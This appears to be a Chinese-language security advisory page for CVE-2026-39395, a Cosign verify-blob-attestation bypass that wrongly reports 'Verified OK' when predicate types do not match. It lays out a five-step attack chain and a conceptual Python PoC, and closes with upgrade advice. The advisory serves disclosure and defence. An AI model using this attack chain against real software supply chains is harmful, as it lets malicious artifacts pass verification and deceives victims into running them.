IPBUF安全漏洞报告
English
CVE-2026-39395 CVSS 4.3 中危

CVE-2026-39395 Cosign验证绕过漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39395
漏洞类型
验证绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Cosign

相关标签

验证绕过Cosign供应链安全逻辑漏洞

漏洞概述

Cosign 是一个用于容器和二进制文件的代码签名及透明度工具。在 3.0.6 和 2.6.3 版本之前,cosign verify-blob-attestation 功能存在逻辑缺陷。当处理格式错误的 payload 或不匹配的 predicate types 时,该工具可能会错误地报告“Verified OK”验证通过结果。对于旧格式的 bundle 和分离签名,这是由于 predicate 类型验证的错误处理逻辑缺陷导致的;而对于新格式的 bundle,predicate 类型验证则被完全绕过。

技术细节

该漏洞的核心在于 Cosign 在处理证明验证时的逻辑错误。Cosign 使用 predicate types 来定义证明内容的类型(如 SLSA Provenance)。在受影响版本中,当调用 `verify-blob-attestation` 命令时,系统未能正确执行严格的类型检查。具体而言,对于旧格式的 bundle 和分离签名,验证逻辑在处理 predicate 类型验证的异常情况时存在缺陷,导致错误被忽略,从而返回了错误的成功状态。对于新格式的 bundle,验证机制存在重大缺陷,完全绕过了 predicate 类型的比对步骤。攻击者可以利用此漏洞构建一个包含恶意 payload 或伪装类型的证明文件。当受害者使用受影响的 Cosign 版本验证该文件时,尽管签名可能有效,但内容的语义类型并不符合预期,Cosign 仍会返回验证通过。

攻击链分析

STEP 1
步骤1:构造恶意证明
攻击者创建一个包含恶意Payload的证明文件,并将predicate type设置为与目标策略不匹配的类型(例如伪装成其他类型)。
STEP 2
步骤2:签名伪造
攻击者使用有效的密钥对该恶意证明文件进行签名,生成符合Cosign格式要求的Bundle或分离签名。
STEP 3
步骤3:分发文件
攻击者将带有恶意签名的容器镜像或二进制文件分发给目标受害者。
STEP 4
步骤4:验证绕过
受害者使用受影响版本的Cosign运行`verify-blob-attestation`命令进行验证。由于漏洞存在,Cosign未正确校验predicate type。
STEP 5
步骤5:错误信任
Cosign返回“Verified OK”结果,受害者误以为文件来源可信且符合安全策略,导致执行恶意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-39395 (Cosign Verification Bypass) This script demonstrates the conceptual verification bypass. In a vulnerable environment, cosign might report 'Verified OK' even if the predicate type does not match the expected policy. """ import subprocess import json import os # Configuration BLOB_PATH = "artifact.bin" SIGNATURE_PATH = "artifact.sig" PREDICATE_TYPE = "https://slsa.dev/provenance/v0.2" # Expected valid type MALICIOUS_TYPE = "https://attacker.example/fake-type" # Mismatched type def simulate_vulnerable_verification(): print(f"[*] Simulating verification for blob: {BLOB_PATH}") print(f"[*] Expected Predicate Type: {PREDICATE_TYPE}") print(f"[*] Actual Predicate Type in Attestation: {MALICIOUS_TYPE}") # Note: In a real scenario, the attacker would have signed the blob # with a payload containing the MALICIOUS_TYPE. # Here we invoke cosign to verify the attestation. cmd = [ "cosign", "verify-blob-attestation", "--predicate-type", PREDICATE_TYPE, BLOB_PATH, "--signature", SIGNATURE_PATH ] try: # Run the verification command result = subprocess.run(cmd, capture_output=True, text=True, check=False) if "Verified OK" in result.stdout: print("[+] Vulnerability Exploited: cosign returned 'Verified OK' despite mismatched predicate type!") print(f"[+] Output: {result.stdout}") else: print("[-] Verification failed or output unexpected.") print(f"[-] Stderr: {result.stderr}") except FileNotFoundError: print("[-] 'cosign' binary not found. This PoC requires cosign to be installed.") if __name__ == "__main__": # Prerequisite: artifact.bin and artifact.sig must exist for the command to run if os.path.exists(BLOB_PATH) and os.path.exists(SIGNATURE_PATH): simulate_vulnerable_verification() else: print("[-] Setup required: Please create 'artifact.bin' and sign it with a mismatched predicate type to demonstrate.")

影响范围

Cosign < 3.0.6
Cosign < 2.6.3

防御指南

临时缓解措施
建议用户立即将 Cosign 升级至修复版本(3.0.6、2.6.3 或更高)。在无法立即升级的情况下,应严格限制来源,并对证明文件内容进行人工审计,不应盲目信任 Cosign 的验证输出,特别是对于 predicate type 的检查应进行二次确认。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表